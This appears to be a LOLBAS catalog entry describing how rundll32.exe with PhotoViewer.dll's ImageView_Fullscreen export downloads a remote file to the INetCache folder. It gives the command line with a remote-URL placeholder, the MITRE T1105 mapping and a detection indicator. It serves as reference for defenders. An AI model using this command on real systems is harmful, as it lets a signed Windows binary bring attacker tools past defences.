CatalogLOLBAS

LOL · Library

PhotoViewer.dll

1 techniqueWindowsLOLBASGPL-3.0

Download

File DownloadWindows

Once executed, rundll32.exe will download the file at the specified URL to the user's INetCache folder using the Windows Photo Viewer DLL.

Use Download file from remote location.

rundll32.exe "C:\Program Files\Windows Photo Viewer\PhotoViewer.dll",ImageView_Fullscreen {REMOTEURL}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Download
MITRE
T1105
Detection
IOC: Execution of rundll32.exe with 'ImageView_Fullscreen' and a remote URL (containing '://') as an argument